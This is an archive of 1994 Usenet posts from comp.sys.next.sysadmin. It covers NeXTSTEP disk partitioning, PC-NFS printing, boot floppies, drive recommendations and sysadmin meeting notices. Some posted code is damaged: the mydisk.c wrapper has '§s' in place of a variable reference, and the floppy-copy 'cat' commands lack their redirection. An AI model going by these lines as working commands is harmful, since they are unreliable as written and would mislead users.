2) cc -o mydisk mydisk.c
3) mv mydisk /usr/etc/disk
4) Run BuildDisk giving it the desired partition size.
5) Wait for it to finish building. You can check in the Console
window (of Workspace Manager) to see that you are getting the
partition sizes you want.
6) When you are finished, replace /usr/etc/disk on both your
startup partition, and the newly built partition.
E.g. if your newly build partition is /dev/sd1a, do
mv /usr/etc/disk.SAV /usr/etc/disk
mount /dev/sd1a /NewDisk
cp -p /usr/etc/disk /NewDisk/usr/etc/disk
That's it!
Standard disclaimer: Use at your own risk! I make no guarantee that
this will work, and cannot be held responsible for anything that goes
wrong. All I claim is that it worked for me (NEXTSTEP 3.2/Intel).
======================= mydisk.c ============================
#include <stdio.h>
#include <libc.h>
void main( int argc, char *argv[] )
{
int i;
char *nargv[30];
int sects;
char buf[200];
for( i=0; i<argc; i++ ){
nargv[i] = argv[i];
if( strcmp( argv[i], "-p") == 0 ){
sscanf( argv[i+1], "%d", §s );
sprintf( buf, "%d", sects*2 );
nargv[i+1] = buf;
i++;
}
}
nargv[i] = NULL;
execv( "/usr/etc/disk.SAV", nargv );
}
=========================================================
--
Chris Roehrig (croehrig@celegans.psych.ubc.ca)
Invertebrate Learning Group, University of British Columbia, Canada
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin,comp.dcom.modems
From: tadam@harp.aix.calpoly.edu (Trent B Adam)
Subject: Cheap modems
Message-ID: <1994Apr01.023812.177725@zeus.aix.calpoly.edu>
Summary: What's with the $99.99 GVC modem?
Keywords: GVC
Sender: tadam@cybal.calpoly.edu
Organization: California Polytechnic State University, San Luis Obispo
References: <2ncan4$qdk@panix.com>
Date: Fri, 01 Apr 1994 02:38:12 GMT
Hey guys,
I realize that you've been talking about top dollar modems, but...
Have you seen the advertisement on Prodigy? Their offering a GVC 14.4
internal fax/modem for $99.99. Seems good to me, is there something
that someone else knows, that I need to know? Is GVC bad news?
Thanks in advance,
Trent Adam
Cal Poly, SLO
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin,comp.dcom.modems
From: tadam@harp.aix.calpoly.edu (Trent B Adam)
Subject: 1800 number
Message-ID: <1994Apr01.024028.178981@zeus.aix.calpoly.edu>
Summary: Is there a 14.4+ 1-800 number?
Keywords: 1-800
Sender: tadam@cymbal.calpoly.edu
Organization: California Polytechnic State University, San Luis Obispo
References: <2ncan4$qdk@panix.com>
Date: Fri, 01 Apr 1994 02:40:28 GMT
Is there a 1-800 number that I could test a 14.4 v.42bis modem out on?
I don't really care WHAT I call as long as it will take a modem through
the paces...
thanks
tadam
Newsgroups: comp.sys.next.sysadmin
From: mark@cyantic.com (Mark T. Dornfeld)
Subject: Re: PCNFSD Ver 2
Organization: CYANTIC Systems
Date: Fri, 01 Apr 1994 00:16:29 GMT
Message-ID: <1994Apr01.001629.2384@cyantic.com>
References: <2nctgr$hn2@portal.gmu.edu>
In article <2nctgr$hn2@portal.gmu.edu> csmith@blackplague.gmu.edu (Christian Smith) writes:
>I am setting up a bunch of Dos/Windows machines to mount drive
>space froma NeXT and want to use PCNFSD ver 2 for authentification
>and print sharing. I got a copy from FTP Software but the Makefile
>seems to only be for Sun OS. Has anybody compiled PCNFSD Ver 2 on
>a Next running 3.2?
I have it. A net acquaintance in Yugoslavia finished the port of Sun's
latest version for me.
I believe the code is freely distributable. I will check the Sun
documentation to be sure.
If there is enough call for it, I think it can be put in one of the
archives. Can someone do that if the legality is sorted out?
--
Mark T. Dornfeld, Cyantic Systems Corporation Voice: (416) 621-6166
1 Eva Road Suite 301 Facsimile: (416) 621-6212
Etobicoke, Ontario, M9C 4Z5 CANADA Email: mark@cyantic.com
Newsgroups: comp.sys.next.sysadmin
From: mark@cyantic.com (Mark T. Dornfeld)
Subject: Re: How to export NeXT laser printer to non NeXT network?
Organization: CYANTIC Systems
Date: Fri, 01 Apr 1994 00:20:18 GMT
Message-ID: <1994Apr01.002018.2484@cyantic.com>
References: <1994Mar26.003249.11643@cs.yale.edu>
In article <1994Mar26.003249.11643@cs.yale.edu> peter@carrot.mcb.uconn.edu (Peter Gogarten) writes:
>I would like to use a Next Laserprinter via ethernet to print files from
>an IBM PC compatible. Both computers (the NeXT and the clone) are on a
>non Next network (ethernet, no yellow pages). I edited the file
>/etc/hosts.lpd, however, when I try to print (via WinQVT) I get the
>message lpr daemon would not accept print job. Any suggestions would be
>greatly appreciated.
> Peter Gogarten (peter@carrot.mcb.uconn.edu)
We print to our Next laser from an SCO UNIX box and from a PC using either
Wollongong or Sun's PCNFS. You need to have pcnfsd running to print from
the PC so that authentication can take place.
Also, (and this is a question) doesn't the printer have to be made "public"
with Next's PrinterManager.app?
--
Mark T. Dornfeld, Cyantic Systems Corporation Voice: (416) 621-6166
1 Eva Road Suite 301 Facsimile: (416) 621-6212
Etobicoke, Ontario, M9C 4Z5 CANADA Email: mark@cyantic.com
From: slxn8@cc.usu.edu
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer
Subject: How to change Max mail message size?
Message-ID: <1994Mar31.185206.14823@cc.usu.edu>
Date: 31 Mar 94 18:52:06 MDT
Organization: Utah State University
I remember reading this awhile back...but of course, I didn't write it down.
Where do you go to change the allowable size of mail messages? I believe it
was somewhere in the sendmail file. Any help would be appreciated.
Thanks,
======================================================================
John Zollinger (NextMail Preferred)
Programmer/Analyst ati06!obsidian!johnz@attati.attmail.com
[Moore BCS - Logan, Utah] "Life is too important to take seriously."
======================================================================
From: sams@nbivax.nbi.dk
Newsgroups: comp.sys.next.sysadmin
Subject: A4 default in Preview app?
Message-ID: <1994Mar31.200110.1582@nbivax.nbi.dk>
Date: 31 Mar 94 20:01:10 +0100
Organization: Niels Bohr Institute and Nordita, Copenhagen
How does one set the default paper size to A4 in Preview app?
Thanks in advance,
Thomas Sams
Newsgroups: comp.sys.next.sysadmin
From: rosed@ornl.gov
Subject: Need Help with source routing on Token Ring and 8209 Bridge
Message-ID: <1994Mar30.162618.23413@ornl.gov>
Keywords: NeXT,Source Routing,Token Ring
Sender: usenet@ornl.gov (News poster)
Organization: Martin Marietta Energy Systems
Distribution: World
Date: Wed, 30 Mar 1994 16:26:18 GMT
Several Intel based NextStep computers have recently been
added to our Token Ring LAN. This LAN is connected to an
Ethernet segment using an 8209 bridge. For some reason these
Next machines are not able to talk to any machines on the
Ethernet LAN segment. I'm doing TCP/IP accross this bridge
with several other operating systems.
For some reason the NeXT machines are not including the Source
Routing information necessary to cross the bridge. Is there
something I need to do to enable source routing ?
Any quick answers or information on how NeXT works with Token
Ring would be greatly appreciated.
David Rose
rosed@ornl.gov
Newsgroups: comp.sys.next.sysadmin
From: Bruce Gingery <bruce@TotSysSoft.com>
Subject: Re: How to copy NEXTSTEP boot floppy?
Message-ID: <1994Apr1.074850.1289@ToTSySSoft.com>
Sender: news@ToTSySSoft.com
Organization: Total System Software
References: <2nf9qq$g39@quartz.ucs.ualberta.ca>
Date: Fri, 1 Apr 1994 07:48:50 GMT
In article <2nf9qq$g39@quartz.ucs.ualberta.ca>
sherwood@fenris.space.ualberta.ca (Sherwood Botsford) writes:
~> Martin Wennerberg (martin@initiera.upnet.se) wrote:
~> : How can I create an exact copy of the NEXTSTEP for Intel 3.2
~> : install floppy?
~>
~> : Thanks for any help on this subject...
~>
~> : /Martin
~>
~>
~> Try
~> cat /dev/rfd0h /tmp/bootfloppy
~> eject disk
~> cat /tmp/bootfloppy /dev/rfd0h
~> insert disk when it asks.
~>
~> (Might be 0a not 0h.)
~>
~>
~> --
~> => Sherwood Botsford sherwood@space.ualberta.ca <=
~> => University of Alberta Lab Manager, Space Physics Group <=
~> => tel:403 492-3713 fax: 403 492-4256 <=
It is also possible to "create a boot floppy" on an OD but it wastes most
of the optical. One way to bootstrap a no-floppy cube.
Bruce Gingery bruce@TotSysSoft.com
Newsgroups: comp.sys.next.sysadmin
From: stone@cosy.sbg.ac.at (Peter Steiner)
Subject: [Q] white hw: how to write MBR (bootmanager) on disk ?
Message-ID: <CnL8GD.Jn8@cosy.sbg.ac.at>
Sender: news@cosy.sbg.ac.at
Organization: University of Salzburg / Austria
Date: Fri, 1 Apr 1994 16:00:12 GMT
Hi!
I have a PC with 2 IDE-HD's and one with 2 SCSI-HD's (each has a SCSI-CDROM of
course ) and I tried to install NSfIP 3.2 on both of them onto the 2nd HD.
(on the first HD is DOZE, ... no flames please ;-)
Turing the installation I had always to type in the device to boot from
(f.ex. hd(1,a)mach_kernel)...). The bootmanager was NOT written onto disk by
the installation program.
How can i write the bootmanager (and also disklabel) manually to disk?
Sorry, if this is an FAQ, just want to get help fast.
PLEASE E-Mail me, if you have tips'n tricks / solutions.
Greetings from Austria and thanx in advance
Stone
PS: Anybody knows something about the Adaptec AHA-2742 support, which was
announced to be out in Jan. ???? Or new ATI drivers ??
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From: gross@stimpy.ame.nd.edu (George B. Ross)
Newsgroups: comp.sys.next.sysadmin
Subject: swapdisk vs swapfile
Date: 1 Apr 1994 16:50:05 GMT
Organization: University of Notre Dame
Distribution: world
Message-ID: <2nhjbt$ndo@news.nd.edu>
Hey there,
Is the bug with the ever-growing swapfile as big a headache
when it is off on its own disk? Are there any advantages to
having a separate swapdisk?
I do a lot of imaging of 3D surfaces on my Cube with ND
board, and often have Virtuoso, TeXview, Mathematica and
NeXTcontour open at the same time. I typically reboot once
a day, and since I have one of the bad NBIC chips, I have to
power off to reboot, and I really hate to do that to my disk
drives (both are internal).
-george
George B. Ross_____NeXTmail welcome_________gross@stimpy.ame.nd.edu
Aerospace and Mechanical Engineering_______University of Notre Dame
From: d91-elu@dront.nada.kth.se (Erik Lundström)
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
Subject: MUX 1.4 binaries?
Date: 1 Apr 1994 18:19:33 GMT
Organization: Royal Institute of Technology, Stockholm, Sweden
Distribution: world
Message-ID: <2nhojl$ftd@news.kth.se>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Where can I find Mux 1.4 binaries?
//David Wallin.
m94dwa@student.tdb.uu.se
From: david@nd.com (David Samson)
Newsgroups: comp.sys.next.sysadmin
Subject: Help!! I'm knee deep in PC-NFS
Date: 30 Mar 1994 15:39:11 GMT
Organization: University of Florida College of Engineering
Distribution: WORLD
Message-ID: <2nc6ev$b7m@bigguy.eng.ufl.edu>
Keywords: pcnfs
Hello, this is addressed to anyone with experience using PC-NFS.
The problem is extablishing a NeXT machine as a print server for the
various PC's on the network.
This brings up issue #1. I need version 2 of pcnfsd for NeXT. Does
anyone have a working version of this daemon? If so, are you familiar
with the installation process?
Issue #2. Do I have to run rpc.pcnfsd also? Where do I get this from and
what is the installation process?
Issue #3. What don't I know to get this to work? I'm a unix novice, to
be sure.
If you have any advice for an extremely lost and frustrated sysadmin
please send me some e-mail.
Thanks in advance.
--
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| \o)/ | david@nd.com 720 SW 2nd Ave | \o)/ |
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From: escott@john-parker.ICS.UCI.EDU (Scott Menter)
Subject: (none)
Newgroups: comp.sys.next.sysadmin, comp.sys.sgi.admin, comp.sys.sun.admin, comp.unix.admin, comp.org.usenix
Message-ID: <9404011151.aa10494@paris.ics.uci.edu>
Newsgroups: comp.org.usenix,comp.sys.next.sysadmin,comp.sys.sgi.admin,comp.sys.sun.admin,comp.unix.admin
Organization: Enterprise Systems Management Corporation
Date: 1 Apr 94 19:51:42 GMT
The NEW YORK SYSTEMS ADMINISTRATORS group (NYSA)
...will hold its next meeting on MONDAY MARCH 14th at 6:15PM.
Come join dozens of other systems administrators from the New York area
who will be getting together to swap war stories, get help with
technical problems of all kinds, and to stay current on the state of the
art in systems and network administration.
In addition to our guest speaker, the meeting will feature a "Technical
Open Forum," where you can ask attendees questions about technical
problems that have you stumped.
Our guest speaker for the evening will be from OpenVision, the rising
systems management company that recently received yet another $28.8
million in funding. Our speaker will be discussing principles of high
availability for Unix servers. As you may know, OpenVision has a high
availability product, and I think it will be really interesting to hear
about the challenges of building such a thing. As usual, our speaker
has agreed to filter marketing noise from the presentation.
If you read the summary of last month's meeting, you know that the
conversation is lively, the topics relevant, and the after-meeting get
together is fun. The meetings are well worth attending for area systems
administrators, and you may catch yourself having a good time as well.
The meeting will be chaired by Xev Gittler of Morgan Stanley. I will
unfortunately not be able to attend this time due to the fact that I
will be 3,000 miles away (Xev, can you get that teleconference thing set
up in time?)...
There is no admission charge. Snacks will be served. Afterwards, if
there's enough interest (and there always is), we will be adjourning to
a local tavern for further refreshment.
LOCATION: Our host once again will be Morgan Stanley, 1251 Avenue Of The
Americas, 19th Floor, New York, NY 10020. Morgan Stanley is between
49th and 50th Streets: use the 50th Street entrance. Go up to the 19th
floor, and signs or an attendant will guide you to the meeting room.
Anybody who attended the previous meetings will tell you that there was
plenty of snack food, plenty of space in the conference room, and in
general that Morgan has been a very good host!
See you there!
For more information, please send email to <nysa-request@esm.com> or
call 914/472-3635.
Newsgroups: comp.sys.next.sysadmin
From: Brent Sessions <sessions@nih.gov>
Subject: Mounting partitions at boot time
Message-ID: <1994Apr1.203755.3442@alw.nih.gov>
Sender: postman@alw.nih.gov (AMDS Postmaster)
Organization: NIAID/National Institutes of Health
Date: Fri, 1 Apr 1994 20:37:55 GMT
Hello all,
Setup: NeXTStation running Mac 3.0/NEXSTEP with NeXTDimension card. Two
Seagate
ST41650 1.3 GB drives. Runs standalone on a thinwire ethernet
network (no
YP or NetInfo stuff). CPU: 33MHz 68040. Phys Memory: 32MB.
Filesystems: /dev/sd0a is the startup device, not partitioned
/dev/sd1a is the other drive, two partitions (/dev/sd1a and /dev/sd1b)
One NFS mount-point that is currently unused
All filesystems of type 4.3
Background: Used BuildDisk.app to reinitialize and partition /dev/sd1a
into
/dev/sd1a and /dev/sd1b. Created appropriate entries in /etc/fstab
(using mount -p) and mirrored entries in NetInfo database. rc script
using "mount -vat 4.3". There is no entry for either disk in
/etc/disktab. /etc/fstab and /etc/disktab have protection -rw-r--r--.
Symptoms: /dev/sd1b won't mount at boot time. It can be mounted manually
with
mount -a once the system is up. All other partitions are mounted
fine.
Goal: Have /dev/sd1b mount automatically at boot time.
Does anyone have any ideas on this? I am new to the Mach environment and
am not
sure about how NetInfo and /etc/fstab interact when it comes to disk
mounting.
Any helpful suggestions would be appreciated.
Thanks in advance,
Brent Sessions
Systems Support
National Institute of Allergies and Infectious Diseases
National Institutes of Health
Bethesda, MD USA
sessions@nih.gov
Newsgroups: comp.sys.next.sysadmin
From: Brent Sessions <sessions@nih.gov>
Subject: Mounting partitions at boot time
Message-ID: <1994Apr1.203232.3281@alw.nih.gov>
Sender: postman@alw.nih.gov (AMDS Postmaster)
Organization: NIAID/National Institutes of Health
Date: Fri, 1 Apr 1994 20:32:32 GMT
Hello all,
Setup: NeXTStation running Mac 3.0/NEXSTEP with NeXTDimension card. Two
Seagate
ST41650 1.3 GB drives. Runs standalone on a thinwire ethernet
network (no
YP or NetInfo stuff). CPU: 33MHz 68040. Phys Memory: 32MB.
Filesystems: /dev/sd0a is the startup device, not partitioned
/dev/sd1a is the other drive, two partitions (/dev/sd1a and /dev/sd1b)
One NFS mount-point that is currently unused
All filesystems of type 4.3
Background: Used BuildDisk.app to reinitialize and partition /dev/sd1a
into
/dev/sd1a and /dev/sd1b. Created appropriate entries in /etc/fstab
(using mount -p) and mirrored entries in NetInfo database. rc script
using "mount -vat 4.3". There is no entry for either disk in
/etc/disktab. /etc/fstab and /etc/disktab have protection -rw-r--r--.
Symptoms: /dev/sd1b won't mount at boot time. It can be mounted manually
with
mount -a once the system is up. All other partitions are mounted
fine.
Goal: Have /dev/sd1b mount automatically at boot time.
Does anyone have any ideas on this? I am new to the Mach environment and
am not
sure about how NetInfo and /etc/fstab interact when it comes to disk
mounting.
Any helpful suggestions would be appreciated.
Thanks in advance,
Brent Sessions
Systems Support
National Institute of Allergies and Infectious Diseases
National Institutes of Health
Bethesda, MD USA
sessions@nih.gov
From: dfh@guitar.ho.att.com (Dan Hurley)
Newsgroups: comp.sys.next.sysadmin
Subject: SUMMARY: 1 gig external SCSI drive for Nextstation
Date: 1 Apr 1994 15:29:26 -0600
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <9404012122.AA00216@guitar.ho.att.com>
Hi.
Thanks to all who responded. I had written:
> I am in the market for a 1+ gig external SCSI drive for my Nextstation. Any
> recommendations from a satisfied owner? I would like to be able to use it
> with an intel box in the future so whatever I choose must work with black and
> white.
Instead of trying to summarize, I think direct quotes will be most helpful.
For what its worth, I bought a 3.5" Micropolis 2217 (1.75 gig) from Peripheral
Solutions for $1242 (+ $40 for cables etc.) and it arrived in a couple of days.
Plugged it in an it just worked!
By the way, the "under $1200" price mentioned below for the 2.4 gig drive is a
5 1/4" without the enclosure. With the enclosure, according to Larry Cohen, it
is $1424 (+ $40 for cables etc.).
Dan Hurley
Responses follow:
-------------------------------------------------------------------------------
Larry Cohen can be reached at (800) 255-3475 or (408) 425-8280 for our non-US
residents. His fax number is (408) 425-5792.
I have no connection with Peripheral Solutions other than being a satisfied
customer.
I bought a 1 gig DEC drive from his less than a year ago for $900 before taxes.
I just talked to him last week, and he said he has a fast, quiet, cool-running
2.4 gig drive for under $1,200. I plan to get one within the next week. Larry
provides fantastic service with 5 yr warrantees and 48 hour replacement...
He has proved his service to me...
If you have any questions, e-mail me back, but he has always had best prices,
best service and is very knowledgable.
-------------------------------------------------------------------------------
Fujitsu M2694ESA, so far so good!
Chris
mcafee@cs.stanford.edu
-------------------------------------------------------------------------------
I like my DEC 1.05 GB drive (DSP3105S) but it's been replaced by a
physically smaller (1" high) model with a different model number. DEC features
a 48-hour warranty replacement policy instead of the usual policy which can
take a couple of weeks. It's also reasonably quiet. I've heard several
vendors say that the DEC 3 series has been the most reliable drive they've ever
sold.
You might contact Larry Cohen at Peripheral Solutions (800-ALL-DISK)
about his latest recommendations. He has a NeXT test bench and seems to be
aware of the latest offerings from a number of companies and also offers good
prices.
-------------------------------------------------------------------------------
I have a 'FUJITSU M2694ES' as external disk drive for more than half a
year now and haven't had any problems. I reformated it with 1024 byte
blocks and have the following capacity:
-------------------------------------------------------------------------------
we've always gone fujitsu for our 1gb drives on black.
we have a bunch of smaller fujitsu drives as well, including
a 630mb one on an intel machine. same disk is on a black
NeXT.
only thing to remember is that you much get a scsi controller
on your intel machine to support the scsi drive you place
there.
we've been happy w/ fujitsu. and they don't whine like
other brands we have.
good luck.
-------------------------------------------------------------------------------
I recently bought a 1 gig Fujitsu 9ms 3.5" from a company called
Dirt Cheap Drives (found in Computer Shopper).
It only cost $817! I put mine inside my NeXTstation.
I'm sure it would work in an external box too, and on white.
-------------------------------------------------------------------------------
I may have access to a new 1050M seagate (10ms) for about $600+ship
I have to double check on the warranty information, but I'm fairly
sure the drives are new. When I get more information (model #, age,
and warranty info). If your interested I will forward the info.
P.S. If you find or have a better deal let me know. As I too keep
hunting for bigger SCSI's
-------------------------------------------------------------------------------
I bought a Micropolis 2217 1.75 (reports 1.65 GB in the Workspace) for $1099.
I'm very happy with it, too. It is being used inside my turbo slab. I would
anticipate no problems whatsoever with putting in on an Intel system. A
friends Seagate ST-11200 1GB works for sure on both systems.
-------------------------------------------------------------------------------
From: escott@john-parker.ICS.UCI.EDU (Scott Menter)
Subject: NYSA Meeting, Mon Apr 11, 6:15pm, Morgan Stanley, NYC
Message-ID: <9404011609.aa27803@paris.ics.uci.edu>
Summary: NYSA (New York Sys Admin group) meeting Monday April 11
Newsgroups: comp.org.usenix,comp.sys.next.sysadmin,comp.sys.sgi.admin,comp.sys.sun.admin,comp.unix.admin
Organization: Enterprise Systems Management Corporation
Keywords: systems administration new york city manhattan hard work no respect
Date: 2 Apr 94 00:09:32 GMT
[ Oops - my earlier posting went out with the wrong date. Sorry!! ]
The NEW YORK SYSTEMS ADMINISTRATORS group (NYSA)
...will hold its next meeting on MONDAY APRIL 11th at 6:15PM.
Come join dozens of other systems administrators from the New York area
who will be getting together to swap war stories, get help with
technical problems of all kinds, and to stay current on the state of the
art in systems and network administration.
In addition to our guest speaker, the meeting will feature a "Technical
Open Forum," where you can ask attendees questions about technical
problems that have you stumped.
Our guest speaker for the evening will be from OpenVision, the rising
systems management company that recently received yet another $28.8
million in funding. Our speaker will be discussing principles of high
availability for Unix servers. As you may know, OpenVision has a high
availability product, and I think it will be really interesting to hear
about the challenges of building such a thing. As usual, our speaker
has agreed to filter marketing noise from the presentation.
If you read the summary of last month's meeting, you know that the
conversation is lively, the topics relevant, and the after-meeting get
together is fun. The meetings are well worth attending for area systems
administrators, and you may catch yourself having a good time as well.
The meeting will be chaired by Xev Gittler of Morgan Stanley. I will
unfortunately not be able to attend this time due to the fact that I
will be 3,000 miles away (Xev, can you get that teleconference thing set
up in time?)...
There is no admission charge. Snacks will be served. Afterwards, if
there's enough interest (and there always is), we will be adjourning to
a local tavern for further refreshment.
LOCATION: Our host once again will be Morgan Stanley, 1251 Avenue Of The
Americas, 19th Floor, New York, NY 10020. Morgan Stanley is between
49th and 50th Streets: use the 50th Street entrance. Go up to the 19th
floor, and signs or an attendant will guide you to the meeting room.
Anybody who attended the previous meetings will tell you that there was
plenty of snack food, plenty of space in the conference room, and in
general that Morgan has been a very good host!
See you there!
For more information, please send email to <nysa-request@esm.com> or
call 914/472-3635.
Newsgroups: comp.sys.next.sysadmin
From: westes@netcom.com (Will Estes)
Subject: Printcap entry for remote PC?
Message-ID: <westesCnLwLp.7wp@netcom.com>
Organization: Mail Group
Date: Sat, 2 Apr 1994 00:41:49 GMT
I have a remote PC that is running LPD, and I would like to be able
to print to it from my NeXT FIP 3.2 machine with
lpr -Premotehost filename
Could someone send me the printcap entry that they use for a remote
PC running LPD, and what is the command that I would use to feed
this to niload (I'll guess: niload printcap . <FILENAME )
--
Will Estes Internet: westes@netcom.com
Message-ID: <544210942.19216@metr.metro.mactel.org>
Date: 01 Apr 1994 12:27:04 +0100
From: Katie_Blakstad-Cooke@metro.mactel.org (Katie Blakstad-Cooke)
Organization: MacTel Metro BBS, London, England.
Subject: Mac postscript: Same as the last one
Distribution: world
Newsgroups: comp.sys.next.sysadmin
Oops. looks like someone in .misc just asked the same question. But has anyone
got any other thoughts?
cheers.--
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Organization: MacTel Metro BBS, London, England.
Subject: Mac laserwriter postscript
Distribution: world
Newsgroups: comp.sys.next.sysadmin
Does anyone know of an easy way to patch Mac LaserWriter postscript for
printing through the NeXT ps server? The code I get from Quark XPress seems
to define stuff outside the page conventions.
I've got the mac hooked up to my Station over Ethernet and I'd love to spool
stuff straight to my NeXT 400dpi printer.
Any Advice?--
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From: dnulu@longhair.math.uno.edu (Deepak Nulu)
Subject: setting the background
Message-ID: <1994Apr1.235702.26779@cs.uno.edu>
Sender: news@cs.uno.edu
Organization: University of New Orleans
Date: Fri, 1 Apr 1994 23:57:02 GMT
hi,
i am trying to display a message (tiff/eps file) whenever the login
window/panel is being displayed. currently, i set the file as background
(using the background shell script), but it is lost when the machine is
powered off.
is it possible to include the background 'command' in some file so that it
is performed when the machine is powered on again?
another possibility that occured to me was to change the tiff file that
loginwindow uses. one of the faqs describes how to do this, mentioning
that there are restrictions on the tiff file, but not what the
restrictions are. what exactly are the restrictions?
i do not monitor this group and hence would appreciate it if replies are
emailed directly to me (and also posted for the sake of others).
thanks in advance.
deepak nulu.
Newsgroups: comp.sys.next.sysadmin
From: esprit@netcom.com (Alan F. Perry)
Subject: Re: Things seem to be "lost" in 3.2
Message-ID: <espritCnqy66.F02@netcom.com>
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <1994Apr4.134353.21462@ornl.gov> <2npb29$177@steffi.demon.co.uk>
Date: Mon, 4 Apr 1994 18:03:42 GMT
In article <2npb29$177@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes:
>woo@ornl.gov wrote in comp.sys.next.sysadmin
>>Question for the lawyers: We purchase software that is supposed to
>>operate according to certain specifications (sometimes under government
>>purchasing contracts). We receive that software and it doesn't perform
>>according to those specifications (Bugs, I believe they are called).
>
>Said purchasers of software are expected to read the release notes.
>
>NeXT never claim that all bugs have been fixed. Those that have been
>fixed are documented in the Release Notes.
How do you know he is even talk about NS? Why can't you answer the
question in the hypothetical sense that it is worded?
Besides, are you a lawyer? I believe he addressed his question to
lawyers :-)
>>Then later we are "offered" the opportunity to "upgrade" our software
>>for an additional fee to correct those portions that didn't function in
>>the first place according to specifications.
>
>It didn't cost me anything to upgrade to 3.2 having properly
>registered before the deadline.
Once again, did he say that he was talking about NS?
>>Should the GAO (for us government users) look into this? Normally what
>>we buy is expected to perform according to specification or the
>>upgrades to make it perform that way are FREE since that is what we
>>paid for in the first place.
>
>Why?
Are you insisting that people must have a reason to ask questions?
>What specification are you referring to? You'd need a detailed
>specification of claims that were not met before anything was legal.
One more time, he did not mention any specific software. He is asking
a general question (that I don't know thw answer to). He did not ask
about a particular piece of software not meeting specific specifications.
I noticed that the guy who replied is at a site in the UK. Has he
ever dealt with U.S. Government and some of its extensive specification
and documentation requirements?
I think the answer relates to how the software was purchased. If the
software was purchased off the shelf, then you are stuck paying for the
upgrade (though, being the government, you could try to scare the
vendor into providing a free upgrade (like try to convince the vendor
that the government won't buy anything else from them unless they make
you happy)). However, if the software was part of a government contract
and it doesn't meet the specifications that went with the contract,
then I think the vendor has to provide fixes, but I am not sure what the
penalty would be for not providing the fixes: maybe fines or "just"
being banned from future contracts. I believe that in this case, the
specifications that must be met are the ones associated with the contract,
not, for example, the user's guide (unless, of course, it is mentioned
in the spec).
Please note that I am NOT a lawyer or an expert on government purchases
and have only been involved with this on an occasional basis.
--
----------------------------+-----------------------------------------------
Alan F. Perry | Life is short, but by achieving greater speeds
alanp@eng.sun.com (work) | a man can make his life a little longer and
esprit@netcom.com (home) | more affluent - Soichiro Honda
Newsgroups: comp.sys.next.sysadmin
From: rosed@ornl.gov
Subject: Re: Things seem to be "lost" in 3.2
Message-ID: <1994Apr4.182404.17306@ornl.gov>
Sender: usenet@ornl.gov (News poster)
Organization: Martin Marietta Energy Systems
References: <1994Apr4.134353.21462@ornl.gov>
Date: Mon, 4 Apr 1994 18:24:04 GMT
In <1994Apr4.134353.21462@ornl.gov>, woo@ornl.gov (John W. Wooten) writes:
>...
>Question for the lawyers: We purchase software that is supposed to
>operate according to certain specifications (sometimes under government
>purchasing contracts). We receive that software and it doesn't perform
>according to those specifications (Bugs, I believe they are called).
>
>Then later we are "offered" the opportunity to "upgrade" our software
>for an additional fee to correct those portions that didn't function in
>the first place according to specifications.
>
>Should the GAO (for us government users) look into this? Normally what
>we buy is expected to perform according to specification or the
>upgrades to make it perform that way are FREE since that is what we
>paid for in the first place.
>
>
>- - - - - - - - -
>J. W. Wooten
One way you can get the "Bugs" out is by ordering the System Support
Hotline Subscription. It only costs 3,000 per year. For 3,000 I'm
sure NeXT will help you find a work around or possibly fix the problem.
By the way, don't try calling NeXT about this bug unless you have some
money to spend. I tried calling about another "Bug" and was told that
until they get a credit card number or a purchase order number they
could not help.
David Rose
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Things seem to be "lost" in 3.2
Date: 4 Apr 1994 21:07:29 +0100
Organization: me organised, that's a joke.
Message-ID: <2nps21$vf@steffi.demon.co.uk>
References: <1994Apr4.134353.21462@ornl.gov> <2npb29$177@steffi.demon.co.uk> <espritCnqy66.F02@netcom.com>
esprit@netcom.com (Alan F. Perry) wrote in comp.sys.next.sysadmin
>In article <2npb29$177@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes:
>>woo@ornl.gov wrote in comp.sys.next.sysadmin
>>>Question for the lawyers: We purchase software that is supposed to
>>>operate according to certain specifications (sometimes under government
>>>purchasing contracts). We receive that software and it doesn't perform
>>>according to those specifications (Bugs, I believe they are called).
>>
>>Said purchasers of software are expected to read the release notes.
>>
>>NeXT never claim that all bugs have been fixed. Those that have been
>>fixed are documented in the Release Notes.
>
>How do you know he is even talk about NS? Why can't you answer the
>question in the hypothetical sense that it is worded?
Well perhaps the beginning of his post and the wording gave it away.
>I've located /NextLibrary/Documentation/ManPages/man/man1/gzip.1
>in the 3.2 release. The release notes state that compressed files
>will now be labeled gz rather than Z etc.
>If if ftp a file to my system in binary as a .gz file, it shows up in
>the file browser as a text file, not as a compressed file, and
>Opener.app doesn't know about it.
>In addition, the above man pages aren't linked into /usr/man!
I don't think he was posing a general question. I think it was
implied in his post that he was talking about NS.
The mere fact that he chose this group (no cross posting) to bring
this up implies that he was talking about NS. Unless there's some
association with laywers and NeXTSTEP system administrators that
I'm unaware of?
>Are you insisting that people must have a reason to ask questions?
>
>>What specification are you referring to? You'd need a detailed
>>specification of claims that were not met before anything was legal.
>
>One more time, he did not mention any specific software. He is asking
>a general question (that I don't know thw answer to). He did not ask
>about a particular piece of software not meeting specific specifications.
>
>I noticed that the guy who replied is at a site in the UK. Has he
>ever dealt with U.S. Government and some of its extensive specification
>and documentation requirements?
John, were you asking a general question or was there more to it than
that?
--
"C++ is the best C++ there is."
(ASCII for text only messages)
From: devans@snowhite.cis.uoguelph.ca (David Evans)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: RISC usage in ND card and X servers
Date: 4 Apr 1994 21:01:02 GMT
Organization: University of Guelph
Message-ID: <2npv6e$cts@nermal.cs.uoguelph.ca>
References: <CnHx0M.1H7@tms-gmbh.de>
In article <CnHx0M.1H7@tms-gmbh.de> gerti@tms-gmbh.de (Gerd Knops) writes:
> [jokes on]
> What does the i860 on the ND board?
> a) NeXT planed on putting 'intel inside' on the cubes.
> b) Nothing at all, I removed it and used it as spare part, ND still works.
> c) Marketing gag. They are empty.
> [jokes off]
>
> I always had my doubts about the i860 on the ND. You can;t access it. The
> ND is slow. If the i860 is used at all, then probably only as refresh
> controller for the dram. (Did I type [jokes off]???)
